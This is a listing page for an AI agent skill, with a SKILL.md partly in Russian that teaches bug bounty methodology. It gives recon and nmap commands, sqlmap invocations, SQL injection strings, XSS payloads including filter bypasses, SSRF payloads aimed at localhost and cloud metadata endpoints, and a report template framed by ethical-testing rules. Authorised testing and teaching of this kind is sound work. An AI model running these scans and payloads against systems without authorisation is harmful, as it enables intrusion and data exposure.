MCPInstall

bug-bounty-program

Эксперт по bug bounty. Используй для поиска уязвимостей, написания отчётов, responsible disclosure и penetration testing.

Installs
112
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Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/dengineproblem/agents-monorepo --skill bug-bounty-program
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads bug-bounty-program automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

Bug Bounty Program Specialist

Эксперт по исследованию уязвимостей и bug bounty hunting.

Методология тестирования

OWASP Top 10 Focus

  1. Injection (SQL, NoSQL, LDAP, OS commands)
  2. Broken Authentication
  3. Sensitive Data Exposure
  4. XML External Entities (XXE)
  5. Broken Access Control
  6. Security Misconfiguration
  7. Cross-Site Scripting (XSS)
  8. Insecure Deserialization
  9. Using Components with Known Vulnerabilities
  10. Insufficient Logging & Monitoring

Распределение усилий

  • Reconnaissance: 30%
  • Manual testing: 50%
  • Automated scanning: 20%

Reconnaissance

Subdomain Enumeration

# Пассивное перечисление
amass enum -passive -d target.com -o subdomains.txt

# Активное перечисление
subfinder -d target.com -all -o subfinder.txt

# DNS брутфорс
gobuster dns -d target.com -w wordlist.txt -o gobuster.txt

# Объединение результатов
cat subdomains.txt subfinder.txt gobuster.txt | sort -u > all_subs.txt

Technology Stack Identification

# Wappalyzer CLI
wappalyzer https://target.com

# WhatWeb
whatweb -a 3 https://target.com

# Nuclei technology detection
nuclei -u https://target.com -t technologies/

Port Scanning

# Быстрое сканирование
nmap -sS -sV -O -p- --min-rate 1000 target.com -oA nmap_full

# Сканирование сервисов
nmap -sC -sV -p 80,443,8080,8443 target.com -oA nmap_services

SQL Injection Testing

Manual Detection

-- Error-based
' OR '1'='1
' AND '1'='2
' UNION SELECT NULL--

-- Time-based blind
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--

-- Boolean-based blind
' AND 1=1--
' AND 1=2--

SQLMap

# Basic injection test
sqlmap -u "https://target.com/page?id=1" --batch

# With authentication
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc123" --batch

# POST data
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch

# Database enumeration
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D dbname --tables --batch

XSS Testing

Payload Types

// Reflected XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

// DOM-based XSS
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>

// Bypass filters
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror="&#x61;lert('XSS')">
<svg/onload=alert('XSS')>

// Stored XSS via different contexts
"><script>alert('XSS')</script>
'-alert('XSS')-'
</title><script>alert('XSS')</script>

Context-Specific Payloads

// In HTML attribute
" onfocus=alert('XSS') autofocus="
' onfocus=alert('XSS') autofocus='

// In JavaScript string
';alert('XSS');//
"-alert('XSS')-"

// In URL parameter
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>

SSRF Testing

Basic Payloads

# Localhost bypass
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://127.1
http://0177.0.0.1

# Cloud metadata
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/

Detection Methods

# Out-of-band detection using Burp Collaborator
url = "http://your-collaborator-id.burpcollaborator.net"

# Webhook.site for testing
url = "https://webhook.site/unique-id"

Report Writing

Structure

# Vulnerability Report

## Summary
[One-line description]

## Severity
[Critical/High/Medium/Low] - CVSS Score: X.X

## Affected Component
[URL/Endpoint/Feature]

## Description
[Detailed technical explanation]

## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step 3]

## Proof of Concept
[Screenshots, code, requests]

## Impact
[Business/technical impact]

## Remediation
[Specific recommendations]

## References
[CVE, OWASP, etc.]

CVSS Calculator Factors

  • Attack Vector (AV): Network/Adjacent/Local/Physical
  • Attack Complexity (AC): Low/High
  • Privileges Required (PR): None/Low/High
  • User Interaction (UI): None/Required
  • Scope (S): Unchanged/Changed
  • Confidentiality Impact (C): None/Low/High
  • Integrity Impact (I): None/Low/High
  • Availability Impact (A): None/Low/High

Tools Checklist

Reconnaissance

  • Amass / Subfinder
  • Nmap
  • Shodan
  • Google Dorks

Web Testing

  • Burp Suite
  • OWASP ZAP
  • SQLMap
  • Nuclei

Automation

  • ffuf (fuzzing)
  • httpx (probing)
  • waybackurls
  • gau (URLs gathering)

Ethical Guidelines

  1. Stay in scope — тестируйте только разрешенные цели
  2. Don't be destructive — избегайте DoS и потери данных
  3. Protect data — не распространяйте найденные данные
  4. Report responsibly — следуйте disclosure policy
  5. Document everything — ведите детальные записи
  6. Respect rate limits — не перегружайте системы

Program Selection Strategy

Criteria

  • Response time history
  • Bounty amounts
  • Scope breadth
  • Program maturity
  • Community feedback

Priority Matrix

Program TypeSkill LevelPotential
New programsAnyHigh
Broad scopeIntermediateMedium
Narrow scopeExpertLow-Medium
VDP onlyBeginnerLow

FAQ

What does the bug-bounty-program skill do?

Эксперт по bug bounty. Используй для поиска уязвимостей, написания отчётов, responsible disclosure и penetration testing.

How do I install bug-bounty-program?

Run npx skills add https://github.com/dengineproblem/agents-monorepo --skill bug-bounty-program in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/bug-bounty-program/ (personal) or .claude/skills/bug-bounty-program/ (project).

Which AI agents can use bug-bounty-program?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is bug-bounty-program safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains bug-bounty-program?

It is published by dengineproblem in dengineproblem/agents-monorepo. It has 112 recorded installs.

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